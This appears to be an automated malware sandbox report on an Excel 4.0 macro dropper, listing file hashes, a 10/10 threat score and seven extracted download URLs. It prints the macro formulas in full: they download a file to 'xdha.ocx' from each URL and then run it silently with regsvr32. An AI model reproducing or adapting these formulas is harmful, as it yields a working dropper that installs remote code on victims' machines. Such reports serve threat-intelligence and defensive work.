General

  • Target

    d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e

  • Size

    35KB

  • Sample

    241120-wqs8zsvpep

  • MD5

    a15f10d00534d87cff1c69de11f39aee

  • SHA1

    d78daf15dd2a3a3922fcd024cd91428cc46a9f4c

  • SHA256

    d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e

  • SHA512

    b4823a916d7340fb7712519332c826008b40b6c86ed13373fbbc7aefad014b0fb8c130e43ab20b18cd0be217c43eb2dfdd221a11ce8167ede4157a7097510faa

  • SSDEEP

    768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://bb2play.com/wzzx/9tamtuJMSndL/

https://romusreselling.xyz/wordpress/bSX/

https://localart.net/wp-content/uploads/I4c5SsknUlq/

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

https://grchen.top/wordpress/bIGq8phSAMn/

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

https://sarc.in/wp-admin/9IDe7r7/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bb2play.com/wzzx/9tamtuJMSndL/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/bSX/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://localart.net/wp-content/uploads/I4c5SsknUlq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://grchen.top/wordpress/bIGq8phSAMn/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sarc.in/wp-admin/9IDe7r7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

xlm40.dropper

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

xlm40.dropper

https://grchen.top/wordpress/bIGq8phSAMn/

xlm40.dropper

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

xlm40.dropper

https://sarc.in/wp-admin/9IDe7r7/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

Targets

    • Target

      d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e

    • Size

      35KB

    • MD5

      a15f10d00534d87cff1c69de11f39aee

    • SHA1

      d78daf15dd2a3a3922fcd024cd91428cc46a9f4c

    • SHA256

      d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e

    • SHA512

      b4823a916d7340fb7712519332c826008b40b6c86ed13373fbbc7aefad014b0fb8c130e43ab20b18cd0be217c43eb2dfdd221a11ce8167ede4157a7097510faa

    • SSDEEP

      768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks